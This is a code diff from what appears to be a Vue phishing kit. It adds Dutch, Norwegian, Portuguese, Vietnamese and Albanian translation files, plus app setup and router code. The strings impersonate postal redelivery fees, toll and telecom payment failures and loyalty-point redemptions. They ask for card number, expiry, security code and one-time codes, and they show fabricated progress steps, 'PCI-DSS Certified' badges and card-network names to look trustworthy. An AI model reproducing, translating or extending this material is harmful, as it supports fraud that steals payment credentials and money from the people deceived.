"Please enter a valid email address": "Voer een geldig e-mailadres in",
|
||||
"Dear users, please fill in the form carefully to ensure the successful delivery": "Beste gebruikers, vul het formulier zorgvuldig in om een succesvolle levering te garanderen",
|
||||
"Your Name": "Uw naam",
|
||||
"Address": "Adres",
|
||||
"Detailed Address": "Gedetailleerd adres",
|
||||
"(Optional)": "(Optioneel)",
|
||||
"City": "Stad",
|
||||
"State": "Staat",
|
||||
"Province": "Provincie",
|
||||
"Region": "Regio",
|
||||
"Zip Code": "Postcode",
|
||||
"E-Mail": "E-mail",
|
||||
"Next": "Volgende",
|
||||
"Telephone Number": "Telefoonnummer",
|
||||
"Online": "Online",
|
||||
"Payment": "Betaling",
|
||||
"For redelivery, we need to charge some service fees.Your package will be re-delivered after payment": "Voor herlevering moeten we servicekosten in rekening brengen. Uw pakket wordt opnieuw verzonden na betaling",
|
||||
"lump sum: ": "totaalbedrag: ",
|
||||
"Cardholder": "Kaarthouder",
|
||||
"Card Number": "Kaartnummer",
|
||||
"Expire Date": "Vervaldatum",
|
||||
"Security Code": "Beveiligingscode",
|
||||
"Submit": "Verzenden",
|
||||
"Click here to receive another code": "Klik hier om een andere code te ontvangen",
|
||||
"Please confirm your identity and a one-time code will be sent": "Bevestig uw identiteit en een eenmalige code wordt verzonden naar uw telefoonnummer of e-mailadres. Voer hier de verificatiecode in",
|
||||
"The verification code has been sent to": "De verificatiecode is verzonden naar",
|
||||
"Please do not click the": "Klik niet op de knoppen 'Vernieuwen' of 'Terug', dit kan uw transactie beëindigen",
|
||||
"Verification code error, please try again": "Verificatiecode onjuist, probeer het opnieuw",
|
||||
"The session is about to expire, please complete the verification now": "De sessie verloopt bijna, voltooi nu de verificatie",
|
||||
"This card does not support this transaction, please try another card": "Deze kaart ondersteunt deze transactie niet, probeer een andere kaart",
|
||||
"Authorized bank": "Geautoriseerde bank",
|
||||
"Please go to the bank App to confirm the authorization": "Ga naar de bank-app om de autorisatie te bevestigen",
|
||||
"Please do not close this page": "Sluit deze pagina niet",
|
||||
"Payment Successful": "Betaling geslaagd!",
|
||||
"Thank you for your purchase. Your payment has been processed successfully": "Bedankt voor uw aankoop. Uw betaling is succesvol verwerkt",
|
||||
"Mailing address": "Postadres",
|
||||
"street address or house number": "Straatnaam of huisnummer",
|
||||
"Apartment number": "Appartementnummer, kamernummer, enz.",
|
||||
"Safe payment": "Veilige betaling",
|
||||
"Verification code": "Verificatiecode",
|
||||
"Welcome": "Welkom",
|
||||
"back": "Terug!",
|
||||
"We reward you for using point services": "Wij belonen u voor het gebruik van puntendiensten",
|
||||
"Check your points": "Controleer uw punten",
|
||||
"Phone number": "Telefoonnummer",
|
||||
"Inquire": "Opvragen",
|
||||
"Exchange": "Inwisselen",
|
||||
"Spend points": "Besteed punten",
|
||||
"Points Available": "Beschikbare punten",
|
||||
"You don't have enough points": "U heeft niet genoeg punten",
|
||||
"Please redeem your favorite product": "Wissel uw favoriete product in",
|
||||
"Confirm your shipping address": "Bevestig uw verzendadres",
|
||||
"Order number": "Bestelnummer: ",
|
||||
"Pay": "Betalen",
|
||||
"Pay Message": "Betaal {0} om punten in te wisselen voor producten",
|
||||
"Pay electronic tolls online": "Betaal elektronische tol online",
|
||||
"your electronic toll payment was unsuccessful": "Uw elektronische tolbetaling is mislukt.",
|
||||
"Billing Information": "Factuurinformatie",
|
||||
"Description": "Beschrijving",
|
||||
"Dear customer": "Geachte klant:",
|
||||
"Electronic Communications Charge Payment Failed": "Betaling van elektronische communicatiekosten mislukt",
|
||||
"Invoice Number": "Factuurnummer",
|
||||
"Amount": "Bedrag",
|
||||
"Pay Immediately": "Betaal onmiddellijk",
|
||||
"Phone Number": "Telefoonnummer",
|
||||
"Electronic communication fee payment failed": "Betaling van elektronische communicatiekosten mislukt",
|
||||
"Illustrate": "Illustreren",
|
||||
"SSL Encryption": "SSL-versleuteling",
|
||||
"PCI-DSS Certified": "PCI-DSS-gecertificeerd",
|
||||
"Transaction Details": "Transactiedetails",
|
||||
"Transaction ID:": "Transactie-ID:",
|
||||
"Processing Network:": "Verwerkingsnetwerk:",
|
||||
"Processing Time:": "Verwerkingstijd:",
|
||||
"Security Level:": "Beveiligingsniveau:",
|
||||
"Preparing...": "Voorbereiden...",
|
||||
"High": "Hoog",
|
||||
"Initializing payment environment...": "Betaalomgeving initialiseren...",
|
||||
"Encrypting card information...": "Kaartgegevens versleutelen...",
|
||||
"Establishing secure connection...": "Veilige verbinding tot stand brengen...",
|
||||
"Verifying card number and issuer...": "Kaartnummer en uitgever verifiëren...",
|
||||
"Validating CVV code...": "CVV-code valideren...",
|
||||
"Checking fraud risk...": "Frauderisico controleren...",
|
||||
"Sending transaction request...": "Transactieverzoek verzenden...",
|
||||
"Waiting for bank authorization...": "Wachten op bankautorisatie...",
|
||||
"Processing bank response...": "Reactie van bank verwerken...",
|
||||
"Confirming transaction status...": "Transactiestatus bevestigen...",
|
||||
"Finalizing transaction...": "Transactie afronden...",
|
||||
"Visa Secure Network": "Visa Secure Netwerk",
|
||||
"Mastercard Global Payment Network": "Mastercard Wereldwijd Betalingsnetwerk",
|
||||
"American Express Dedicated Channel": "American Express Toegewijd Kanaal",
|
||||
"UnionPay Gateway": "UnionPay Gateway",
|
||||
"{time} seconds": "{time} seconden",
|
||||
"International Payment Network": "Internationaal Betalingsnetwerk",
|
||||
"redelivery_fee_message": "Voor herlevering brengen we {amount} servicekosten in rekening. Uw pakket wordt opnieuw verzonden na betaling",
|
||||
};
|
||||
109
t_global_post_temp2/src/locales/no/index.ts
Normal file
@@ -0,0 +1,109 @@
|
||||
export default {
|
||||
"There is an error in this field, please check":
|
||||
"Det er en feil i dette feltet, vennligst sjekk det",
|
||||
"Please enter a valid email address": "Vennligst oppgi en gyldig e-postadresse",
|
||||
"Dear users, please fill in the form carefully to ensure the successful delivery":
|
||||
"Kjære brukere, vennligst fyll ut skjemaet nøye for å sikre vellykket levering",
|
||||
"Your Name": "Ditt navn",
|
||||
"Address": "Adresse",
|
||||
"Detailed Address": "Detaljert adresse",
|
||||
"(Optional)": "(Valgfritt)",
|
||||
"City": "By",
|
||||
"State": "Delstat",
|
||||
"Province": "Provins",
|
||||
"Region": "Region",
|
||||
"Zip Code": "Postnummer",
|
||||
"E-Mail": "E-post",
|
||||
"Next": "Neste",
|
||||
"Telephone Number": "Telefonnummer",
|
||||
"Online": "Online",
|
||||
"Payment": "Betaling",
|
||||
"For redelivery, we need to charge some service fees.Your package will be re-delivered after payment":
|
||||
"For ny levering må vi ta et servicegebyr. Din pakke vil bli levert på nytt etter betaling",
|
||||
"lump sum: ": "Totalbeløp: ",
|
||||
"Cardholder": "Kortinnehaver",
|
||||
"Card Number": "Kortnummer",
|
||||
"Expire Date": "Utløpsdato",
|
||||
"Security Code": "Sikkerhetskode",
|
||||
"Submit": "Send inn",
|
||||
"Click here to receive another code": "Klikk her for å motta en ny kode",
|
||||
"Please confirm your identity and a one-time code will be sent":
|
||||
"Vennligst bekreft identiteten din, en engangskode vil bli sendt til ditt mobilnummer eller e-post. Skriv inn verifiseringskoden her",
|
||||
"The verification code has been sent to":
|
||||
"Verifiseringskoden er sendt til",
|
||||
"Please do not click the":
|
||||
"Vennligst ikke klikk på knappene «Oppdater» eller «Tilbake», da dette kan avslutte eller avbryte transaksjonen",
|
||||
"Verification code error, please try again":
|
||||
"Feil i verifiseringskode, vennligst prøv igjen",
|
||||
"The session is about to expire, please complete the verification now":
|
||||
"Økten er i ferd med å utløpe, vennligst fullfør verifiseringen nå",
|
||||
"This card does not support this transaction, please try another card":
|
||||
"Dette kortet støtter ikke denne transaksjonen, vennligst prøv et annet kort",
|
||||
"Authorized bank": "Autorisert bank",
|
||||
"Please go to the bank App to confirm the authorization":
|
||||
"Vennligst åpne bank-appen for å bekrefte autorisasjonen",
|
||||
"Please do not close this page": "Vennligst ikke lukk denne siden",
|
||||
"Payment Successful": "Betaling vellykket!",
|
||||
"Thank you for your purchase. Your payment has been processed successfully":
|
||||
"Takk for ditt kjøp. Betalingen er behandlet vellykket",
|
||||
"Mailing address": "Postadresse",
|
||||
"street address or house number": "Gateadresse eller husnummer",
|
||||
"Apartment number": "Leilighetsnummer, romnummer osv.",
|
||||
"Safe payment": "Sikker betaling",
|
||||
"Verification code": "Verifiseringskode",
|
||||
"Welcome": "Velkommen",
|
||||
"back":"tilbake!",
|
||||
"We reward you for using point services": "Vi belønner deg for å bruke vårt poengsystem",
|
||||
"Check your points": "Sjekk poengene dine",
|
||||
"Phone number": "Telefonnummer",
|
||||
"Inquire": "Forespør",
|
||||
"Exchange": "Bytt",
|
||||
"Spend points": "Bruk poeng",
|
||||
"Points Available": "Tilgjengelige poeng",
|
||||
"You don't have enough points": "Du har ikke nok poeng",
|
||||
"Please redeem your favorite product": "Vennligst løs inn ditt favorittprodukt",
|
||||
"Confirm your shipping address": "Bekreft leveringsadressen din",
|
||||
"Order number": "Ordrenummer: ",
|
||||
"Pay": "Betal",
|
||||
"Pay Message": "Betal {0} for å løse inn poeng mot varer",
|
||||
"Pay electronic tolls online": "Betal elektronisk bompenger online",
|
||||
"your electronic toll payment was unsuccessful": "Din elektroniske bompengebetaling mislyktes.",
|
||||
"Billing Information": "Faktureringsinformasjon",
|
||||
"Description": "Beskrivelse",
|
||||
"Dear customer": "Kjære kunde:",
|
||||
"Electronic Communications Charge Payment Failed": "Betaling av elektronisk kommunikasjonsavgift mislyktes",
|
||||
"Invoice Number": "Fakturanummer",
|
||||
"Amount": "Beløp",
|
||||
"Pay Immediately": "Betal umiddelbart",
|
||||
"Phone Number": "Telefonnummer",
|
||||
"Electronic communication fee payment failed": "Betaling av elektronisk kommunikasjonsavgift mislyktes",
|
||||
"Illustrate":"Illustrere",
|
||||
"SSL Encryption": "SSL-kryptering",
|
||||
"PCI-DSS Certified": "PCI-DSS-sertifisert",
|
||||
"Transaction Details": "Transaksjonsdetaljer",
|
||||
"Transaction ID:": "Transaksjons-ID:",
|
||||
"Processing Network:": "Behandlingsnettverk:",
|
||||
"Processing Time:": "Behandlingstid:",
|
||||
"Security Level:": "Sikkerhetsnivå:",
|
||||
"Preparing...": "Forbereder...",
|
||||
"High": "Høy",
|
||||
"Initializing payment environment...": "Initialiserer betalingsmiljø...",
|
||||
"Encrypting card information...": "Krypterer kortinformasjon...",
|
||||
"Establishing secure connection...": "Etablerer sikker tilkobling...",
|
||||
"Verifying card number and issuer...": "Verifiserer kortnummer og utsteder...",
|
||||
"Validating CVV code...": "Validerer CVV-kode...",
|
||||
"Checking fraud risk...": "Sjekker svindelrisiko...",
|
||||
"Sending transaction request...": "Sender transaksjonsforespørsel...",
|
||||
"Waiting for bank authorization...": "Venter på bankautorisering...",
|
||||
"Processing bank response...": "Behandler banksvar...",
|
||||
"Confirming transaction status...": "Bekrefter transaksjonsstatus...",
|
||||
"Finalizing transaction...": "Fullfører transaksjon...",
|
||||
"Visa Secure Network": "Visa Secure Network",
|
||||
"Mastercard Global Payment Network": "Mastercard Global Payment Network",
|
||||
"American Express Dedicated Channel": "American Express Dedikert Kanal",
|
||||
"UnionPay Gateway": "UnionPay Gateway",
|
||||
"{time} seconds": "{time} sekunder",
|
||||
"International Payment Network": "Internasjonalt betalingsnettverk",
|
||||
"redelivery_fee_message": "For ny levering må vi kreve {amount} i servicegebyr, pakken din vil bli levert på nytt etter betaling",
|
||||
"Verifying...": "Verifiserer...",
|
||||
};
|
||||
84
t_global_post_temp2/src/locales/pt/index.ts
Normal file
@@ -0,0 +1,84 @@
|
||||
export default {
|
||||
"There is an error in this field, please check":
|
||||
"Há um erro neste campo, por favor verifique",
|
||||
"Please enter a valid email address": "Por favor insira um endereço de e-mail válido",
|
||||
"Dear users, please fill in the form carefully to ensure the successful delivery":
|
||||
"Prezados usuários, por favor preencham o formulário com atenção para garantir a entrega bem-sucedida",
|
||||
"Your Name": "Seu Nome",
|
||||
"Address": "Endereço",
|
||||
"Detailed Address": "Endereço Detalhado",
|
||||
"(Optional)": "(Opcional)",
|
||||
"City": "Cidade",
|
||||
"State": "Estado",
|
||||
"Province": "Província",
|
||||
"Region": "Região",
|
||||
"Zip Code": "Código Postal",
|
||||
"E-Mail": "E-mail",
|
||||
"Next": "Próximo",
|
||||
"Telephone Number": "Número de Telefone",
|
||||
"Online": "Online",
|
||||
"Payment": "Pagamento",
|
||||
"For redelivery, we need to charge some service fees.Your package will be re-delivered after payment":
|
||||
"Para reentrega, será cobrada uma taxa de serviço. Seu pacote será reenviado após o pagamento",
|
||||
"lump sum: ": "valor total: ",
|
||||
"Cardholder": "Titular do Cartão",
|
||||
"Card Number": "Número do Cartão",
|
||||
"Expire Date": "Data de Validade",
|
||||
"Security Code": "Código de Segurança",
|
||||
"Submit": "Enviar",
|
||||
"Click here to receive another code": "Clique aqui para receber outro código",
|
||||
"Please confirm your identity and a one-time code will be sent":
|
||||
"Por favor confirme sua identidade e um código único será enviado para seu número de celular ou e-mail. Insira o código de verificação aqui",
|
||||
"The verification code has been sent to":
|
||||
"O código de verificação foi enviado para",
|
||||
"Please do not click the":
|
||||
"Por favor, não clique nos botões 'Atualizar' ou 'Voltar', pois isso pode interromper sua transação",
|
||||
"Verification code error, please try again":
|
||||
"Erro no código de verificação, por favor tente novamente",
|
||||
"The session is about to expire, please complete the verification now":
|
||||
"A sessão está prestes a expirar, por favor conclua a verificação agora",
|
||||
"This card does not support this transaction, please try another card":
|
||||
"Este cartão não suporta esta transação, por favor tente outro cartão",
|
||||
"Authorized bank": "Banco autorizado",
|
||||
"Please go to the bank App to confirm the authorization":
|
||||
"Por favor acesse o aplicativo do banco para confirmar a autorização",
|
||||
"Please do not close this page": "Por favor, não feche esta página",
|
||||
"Payment Successful": "Pagamento realizado com sucesso!",
|
||||
"Thank you for your purchase. Your payment has been processed successfully":
|
||||
"Obrigado pela sua compra. Seu pagamento foi processado com sucesso",
|
||||
"Mailing address": "Endereço para entrega",
|
||||
"street address or house number": "endereço da rua ou número da casa",
|
||||
"Apartment number": "Número do apartamento, sala, etc.",
|
||||
"Safe payment": "Pagamento seguro",
|
||||
"Verification code": "Código de verificação",
|
||||
"Welcome": "Bem-vindo",
|
||||
"back": "voltar",
|
||||
"We reward you for using point services": "Recompensamos você por usar os serviços com pontos",
|
||||
"Check your points": "Verifique seus pontos",
|
||||
"Phone number": "Número de telefone",
|
||||
"Inquire": "Consultar",
|
||||
"Exchange": "Trocar",
|
||||
"Spend points": "Gastar pontos",
|
||||
"Points Available": "Pontos disponíveis",
|
||||
"You don't have enough points": "Você não tem pontos suficientes",
|
||||
"Please redeem your favorite product": "Por favor, resgate seu produto favorito",
|
||||
"Confirm your shipping address": "Confirme seu endereço de envio",
|
||||
"Order number": "Número do pedido: ",
|
||||
"Pay": "Pagar",
|
||||
"Pay Message": "Pague {0} para trocar pontos por mercadoria",
|
||||
"Pay electronic tolls online": "Pague pedágios eletrônicos online",
|
||||
"your electronic toll payment was unsuccessful":
|
||||
"seu pagamento de pedágio eletrônico não foi bem-sucedido.",
|
||||
"Billing Information": "Informações de cobrança",
|
||||
"Description": "Descrição",
|
||||
"Dear customer": "Prezado cliente:",
|
||||
"Electronic Communications Charge Payment Failed":
|
||||
"Falha no pagamento da taxa de comunicações eletrônicas",
|
||||
"Invoice Number": "Número da fatura",
|
||||
"Amount": "Valor",
|
||||
"Pay Immediately": "Pagar agora",
|
||||
"Phone Number": "Número de telefone",
|
||||
"Electronic communication fee payment failed":
|
||||
"Falha no pagamento da taxa de comunicação eletrônica",
|
||||
"Illustrate": "Ilustrar"
|
||||
};
|
||||
98
t_global_post_temp2/src/locales/vn/index.ts
Normal file
@@ -0,0 +1,98 @@
|
||||
export default {
|
||||
"There is an error in this field, please check": "Có lỗi trong trường này, vui lòng kiểm tra",
|
||||
"Please enter a valid email address": "Vui lòng nhập địa chỉ email hợp lệ",
|
||||
"Dear users, please fill in the form carefully to ensure the successful delivery": "Kính gửi người dùng, vui lòng điền biểu mẫu cẩn thận để đảm bảo giao hàng thành công",
|
||||
"Your Name": "Tên của bạn",
|
||||
"Address": "Địa chỉ",
|
||||
"Detailed Address": "Địa chỉ chi tiết",
|
||||
"(Optional)": "(Tùy chọn)",
|
||||
"City": "Thành phố",
|
||||
"State": "Bang",
|
||||
"Province": "Tỉnh",
|
||||
"Region": "Khu vực",
|
||||
"Zip Code": "Mã bưu chính",
|
||||
"E-Mail": "Email",
|
||||
"Next": "Tiếp theo",
|
||||
"Telephone Number": "Số điện thoại",
|
||||
"Online": "Trực tuyến",
|
||||
"Payment": "Thanh toán",
|
||||
"For redelivery, we need to charge some service fees.Your package will be re-delivered after payment": "Để giao lại, chúng tôi cần tính một số phí dịch vụ. Gói hàng của bạn sẽ được giao lại sau khi thanh toán",
|
||||
"lump sum: ": "Tổng số tiền: ",
|
||||
"Cardholder": "Chủ thẻ",
|
||||
"Card Number": "Số thẻ",
|
||||
"Expire Date": "Ngày hết hạn",
|
||||
"Security Code": "Mã bảo mật",
|
||||
"Submit": "Gửi",
|
||||
"Click here to receive another code": "Nhấp vào đây để nhận mã khác",
|
||||
"Please confirm your identity and a one-time code will be sent": "Vui lòng xác nhận danh tính của bạn, mã xác minh sẽ được gửi đến số điện thoại hoặc email của bạn. Vui lòng nhập mã xác minh tại đây",
|
||||
"The verification code has been sent to": "Mã xác minh đã được gửi đến",
|
||||
"Please do not click the": "Vui lòng không nhấp vào nút 'Làm mới' hoặc 'Quay lại' vì điều này có thể chấm dứt giao dịch của bạn",
|
||||
"Verification code error, please try again": "Mã xác minh không đúng, vui lòng thử lại",
|
||||
"The session is about to expire, please complete the verification now": "Phiên làm việc sắp hết hạn, vui lòng hoàn tất xác minh ngay",
|
||||
"This card does not support this transaction, please try another card": "Thẻ này không hỗ trợ giao dịch này, vui lòng thử thẻ khác",
|
||||
"Authorized bank": "Ngân hàng được ủy quyền",
|
||||
"Please go to the bank App to confirm the authorization": "Vui lòng mở ứng dụng ngân hàng để xác nhận ủy quyền",
|
||||
"Please do not close this page": "Vui lòng không đóng trang này",
|
||||
"Payment Successful": "Thanh toán thành công!",
|
||||
"Thank you for your purchase. Your payment has been processed successfully": "Cảm ơn bạn đã mua hàng. Thanh toán của bạn đã được xử lý thành công",
|
||||
"Mailing address": "Địa chỉ gửi thư",
|
||||
"street address or house number": "Địa chỉ đường hoặc số nhà",
|
||||
"Apartment number": "Số căn hộ, số phòng, v.v.",
|
||||
"Safe payment": "Thanh toán an toàn",
|
||||
"Verification code": "Mã xác minh",
|
||||
"Welcome": "Chào mừng",
|
||||
"back": "Quay lại!",
|
||||
"We reward you for using point services": "Chúng tôi tặng thưởng khi bạn sử dụng dịch vụ tích điểm",
|
||||
"Check your points": "Kiểm tra điểm của bạn",
|
||||
"Phone number": "Số điện thoại",
|
||||
"Inquire": "Tra cứu",
|
||||
"Exchange": "Đổi",
|
||||
"Spend points": "Tiêu điểm",
|
||||
"Points Available": "Số điểm hiện có",
|
||||
"You don't have enough points": "Bạn không đủ điểm",
|
||||
"Please redeem your favorite product": "Vui lòng đổi sản phẩm yêu thích của bạn",
|
||||
"Confirm your shipping address": "Xác nhận địa chỉ giao hàng của bạn",
|
||||
"Order number": "Mã đơn hàng: ",
|
||||
"Pay": "Thanh toán",
|
||||
"Pay Message": "Thanh toán {0} để đổi điểm lấy hàng hóa",
|
||||
"Pay electronic tolls online": "Thanh toán phí đường bộ trực tuyến",
|
||||
"your electronic toll payment was unsuccessful": "Thanh toán phí đường bộ của bạn không thành công.",
|
||||
"Billing Information": "Thông tin thanh toán",
|
||||
"Description": "Mô tả",
|
||||
"Dear customer": "Kính gửi khách hàng:",
|
||||
"Electronic Communications Charge Payment Failed": "Thanh toán phí liên lạc điện tử không thành công",
|
||||
"Invoice Number": "Số hóa đơn",
|
||||
"Amount": "Số tiền",
|
||||
"Pay Immediately": "Thanh toán ngay",
|
||||
"Phone Number": "Số điện thoại",
|
||||
"Electronic communication fee payment failed": "Thanh toán phí liên lạc điện tử không thành công",
|
||||
"Illustrate": "Minh họa",
|
||||
"SSL Encryption": "Mã hóa SSL",
|
||||
"PCI-DSS Certified": "Được chứng nhận PCI-DSS",
|
||||
"Transaction Details": "Chi tiết giao dịch",
|
||||
"Transaction ID:": "Mã giao dịch:",
|
||||
"Processing Network:": "Mạng xử lý:",
|
||||
"Processing Time:": "Thời gian xử lý:",
|
||||
"Security Level:": "Mức độ bảo mật:",
|
||||
"Preparing...": "Đang chuẩn bị...",
|
||||
"High": "Cao",
|
||||
"Initializing payment environment...": "Đang khởi tạo môi trường thanh toán...",
|
||||
"Encrypting card information...": "Đang mã hóa thông tin thẻ...",
|
||||
"Establishing secure connection...": "Đang thiết lập kết nối an toàn...",
|
||||
"Verifying card number and issuer...": "Đang xác minh số thẻ và nhà phát hành...",
|
||||
"Validating CVV code...": "Đang xác thực mã CVV...",
|
||||
"Checking fraud risk...": "Đang kiểm tra rủi ro gian lận...",
|
||||
"Sending transaction request...": "Đang gửi yêu cầu giao dịch...",
|
||||
"Waiting for bank authorization...": "Đang chờ ngân hàng ủy quyền...",
|
||||
"Processing bank response...": "Đang xử lý phản hồi từ ngân hàng...",
|
||||
"Confirming transaction status...": "Đang xác nhận trạng thái giao dịch...",
|
||||
"Finalizing transaction...": "Đang hoàn tất giao dịch...",
|
||||
"Visa Secure Network": "Mạng bảo mật Visa",
|
||||
"Mastercard Global Payment Network": "Mạng thanh toán toàn cầu Mastercard",
|
||||
"American Express Dedicated Channel": "Kênh chuyên dụng American Express",
|
||||
"UnionPay Gateway": "Cổng thanh toán UnionPay",
|
||||
"{time} seconds": "{time} giây",
|
||||
"International Payment Network": "Mạng thanh toán quốc tế",
|
||||
"redelivery_fee_message": "Để giao lại, chúng tôi cần thu phí dịch vụ {amount}, gói hàng của bạn sẽ được giao lại sau khi thanh toán",
|
||||
"Verifying...": "Đang xác minh...",
|
||||
};
|
||||
109
t_global_post_temp2/src/locales/xk/index.ts
Normal file
@@ -0,0 +1,109 @@
|
||||
export default {
|
||||
"There is an error in this field, please check":
|
||||
"Ka një gabim në këtë fushë, ju lutemi kontrolloni",
|
||||
"Please enter a valid email address": "Ju lutemi vendosni një adresë emaili të vlefshme",
|
||||
"Dear users, please fill in the form carefully to ensure the successful delivery":
|
||||
"Të nderuar përdorues, ju lutemi plotësoni formularin me kujdes për të siguruar dorëzim të suksesshëm",
|
||||
"Your Name": "Emri juaj",
|
||||
"Address": "Adresa",
|
||||
"Detailed Address": "Adresa e detajuar",
|
||||
"(Optional)": "(Opsionale)",
|
||||
"City": "Qyteti",
|
||||
"State": "Shteti / Zona",
|
||||
"Province": "Provinca",
|
||||
"Region": "Rajoni",
|
||||
"Zip Code": "Kodi postar",
|
||||
"E-Mail": "Email",
|
||||
"Next": "Tjetër",
|
||||
"Telephone Number": "Numri i telefonit",
|
||||
"Online": "Online",
|
||||
"Payment": "Pagesa",
|
||||
"For redelivery, we need to charge some service fees.Your package will be re-delivered after payment":
|
||||
"Për ridërgesë, duhet të tarifojmë disa tarifa shërbimi. Paketa juaj do të ridërgohet pas pagesës",
|
||||
"lump sum: ": "Shuma totale: ",
|
||||
"Cardholder": "Mbajtësi i kartës",
|
||||
"Card Number": "Numri i kartës",
|
||||
"Expire Date": "Data e skadencës",
|
||||
"Security Code": "Kodi i sigurisë",
|
||||
"Submit": "Dërgo",
|
||||
"Click here to receive another code": "Klikoni këtu për të marrë një kod tjetër",
|
||||
"Please confirm your identity and a one-time code will be sent":
|
||||
"Ju lutemi konfirmoni identitetin tuaj. Një kod njëpërdorimësh do t’ju dërgohet në telefon ose email. Ju lutemi vendosni kodin këtu",
|
||||
"The verification code has been sent to":
|
||||
"Kodi i verifikimit është dërguar te",
|
||||
"Please do not click the":
|
||||
"Ju lutemi mos klikoni butonat “Rifresko” ose “Kthehu”, pasi kjo mund të ndërpresë transaksionin tuaj",
|
||||
"Verification code error, please try again":
|
||||
"Gabim në kodin e verifikimit, ju lutemi provoni përsëri",
|
||||
"The session is about to expire, please complete the verification now":
|
||||
"Seanca është gati të skadojë, ju lutemi përfundoni verifikimin tani",
|
||||
"This card does not support this transaction, please try another card":
|
||||
"Kjo kartë nuk e mbështet këtë transaksion, ju lutemi provoni një kartë tjetër",
|
||||
"Authorized bank": "Banka e autorizuar",
|
||||
"Please go to the bank App to confirm the authorization":
|
||||
"Ju lutemi hapni aplikacionin e bankës për të konfirmuar autorizimin",
|
||||
"Please do not close this page": "Ju lutemi mos e mbyllni këtë faqe",
|
||||
"Payment Successful": "Pagesa u krye me sukses!",
|
||||
"Thank you for your purchase. Your payment has been processed successfully":
|
||||
"Faleminderit për blerjen. Pagesa juaj u përpunua me sukses",
|
||||
"Mailing address": "Adresa e dorëzimit",
|
||||
"street address or house number": "Emri i rrugës ose numri i shtëpisë",
|
||||
"Apartment number": "Numri i apartamentit / dhomës",
|
||||
"Safe payment": "Pagesë e sigurt",
|
||||
"Verification code": "Kodi i verifikimit",
|
||||
"Welcome": "Mirë se vini",
|
||||
"back": "kthehu!",
|
||||
"We reward you for using point services": "Ju shpërblejmë për përdorimin e shërbimeve me pikë",
|
||||
"Check your points": "Kontrolloni pikët tuaja",
|
||||
"Phone number": "Numri i telefonit",
|
||||
"Inquire": "Kontrollo",
|
||||
"Exchange": "Shkëmbim",
|
||||
"Spend points": "Shpenzo pikët",
|
||||
"Points Available": "Pikë të disponueshme",
|
||||
"You don't have enough points": "Nuk keni mjaftueshëm pikë",
|
||||
"Please redeem your favorite product": "Ju lutemi shkëmbeni pikët për produktin tuaj të preferuar",
|
||||
"Confirm your shipping address": "Konfirmoni adresën tuaj të dorëzimit",
|
||||
"Order number": "Numri i porosisë: ",
|
||||
"Pay": "Paguaj",
|
||||
"Pay Message": "Paguani {0} për të shkëmbyer pikët për produkte",
|
||||
"Pay electronic tolls online": "Paguani tarifat elektronike online",
|
||||
"your electronic toll payment was unsuccessful": "Pagesa juaj elektronike e tarifës nuk ishte e suksesshme.",
|
||||
"Billing Information": "Informacioni i faturimit",
|
||||
"Description": "Përshkrimi",
|
||||
"Dear customer": "I/E nderuar klient:",
|
||||
"Electronic Communications Charge Payment Failed": "Pagesa e tarifës së komunikimit elektronik dështoi",
|
||||
"Invoice Number": "Numri i faturës",
|
||||
"Amount": "Shuma",
|
||||
"Pay Immediately": "Paguaj menjëherë",
|
||||
"Phone Number": "Numri i telefonit",
|
||||
"Electronic communication fee payment failed": "Pagesa e tarifës së komunikimit elektronik dështoi",
|
||||
"Illustrate": "Shpjegim",
|
||||
"SSL Encryption": "Enkriptim SSL",
|
||||
"PCI-DSS Certified": "I certifikuar PCI-DSS",
|
||||
"Transaction Details": "Detajet e transaksionit",
|
||||
"Transaction ID:": "ID e transaksionit:",
|
||||
"Processing Network:": "Rrjeti i përpunimit:",
|
||||
"Processing Time:": "Koha e përpunimit:",
|
||||
"Security Level:": "Niveli i sigurisë:",
|
||||
"Preparing...": "Po përgatitet...",
|
||||
"High": "I lartë",
|
||||
"Initializing payment environment...": "Po inicializohet ambienti i pagesës...",
|
||||
"Encrypting card information...": "Po enkriptohen të dhënat e kartës...",
|
||||
"Establishing secure connection...": "Po krijohet lidhje e sigurt...",
|
||||
"Verifying card number and issuer...": "Po verifikohet numri i kartës dhe lëshuesi...",
|
||||
"Validating CVV code...": "Po validohet kodi CVV...",
|
||||
"Checking fraud risk...": "Po kontrollohet rreziku i mashtrimit...",
|
||||
"Sending transaction request...": "Po dërgohet kërkesa e transaksionit...",
|
||||
"Waiting for bank authorization...": "Në pritje të autorizimit nga banka...",
|
||||
"Processing bank response...": "Po përpunohet përgjigjja e bankës...",
|
||||
"Confirming transaction status...": "Po konfirmohet statusi i transaksionit...",
|
||||
"Finalizing transaction...": "Po finalizohet transaksioni...",
|
||||
"Visa Secure Network": "Rrjeti i sigurt Visa",
|
||||
"Mastercard Global Payment Network": "Rrjeti global i pagesave Mastercard",
|
||||
"American Express Dedicated Channel": "Kanali i dedikuar American Express",
|
||||
"UnionPay Gateway": "Porta UnionPay",
|
||||
"{time} seconds": "{time} sekonda",
|
||||
"International Payment Network": "Rrjeti ndërkombëtar i pagesave",
|
||||
"redelivery_fee_message": "Për ridërgesë duhet të paguani {amount} për tarifat e shërbimit. Paketa juaj do të ridërgohet pas pagesës",
|
||||
"Verifying...": "Po verifikohet...",
|
||||
};
|
||||
32
t_global_post_temp2/src/main.ts
Normal file
@@ -0,0 +1,32 @@
|
||||
import { createApp, ref } from "vue";
|
||||
import { createPinia } from "pinia";
|
||||
|
||||
import App from "./App.vue";
|
||||
import router from "./router";
|
||||
import { createI18n } from "vue-i18n";
|
||||
import es from "./locales/es";
|
||||
import "./assets/main.css";
|
||||
import "./assets/base.css";
|
||||
import VueScrollTo from "vue-scrollto";
|
||||
|
||||
const userData = ref({});
|
||||
|
||||
const app = createApp(App);
|
||||
app.config.globalProperties.$currentUser = userData;
|
||||
const i18n = createI18n({
|
||||
locale: "es",
|
||||
messages: {
|
||||
es: es,
|
||||
},
|
||||
});
|
||||
|
||||
app.use(i18n);
|
||||
app.use(createPinia());
|
||||
app.use(router);
|
||||
router.beforeEach((to, from, next) => {
|
||||
// 使用 VueScrollTo 滚动到顶部
|
||||
VueScrollTo.scrollTo("#app", 0);
|
||||
next();
|
||||
});
|
||||
app.mount("#app");
|
||||
export default i18n;
|
||||
110
t_global_post_temp2/src/router/index.ts
Normal file
@@ -0,0 +1,110 @@
|
||||
import { createRouter, createMemoryHistory } from "vue-router";
|
||||
|
||||
// **** 核心变化:所有视图组件都在这里进行显式导入,实现“全静态加载” ****
|
||||
import IndexView from "@/views/IndexView.vue";
|
||||
import HomeView from "@/views/HomeView.vue"; // 修正:根据常规命名,应该是 PhoneView.vue
|
||||
import PayView from "@/views/PayView.vue";
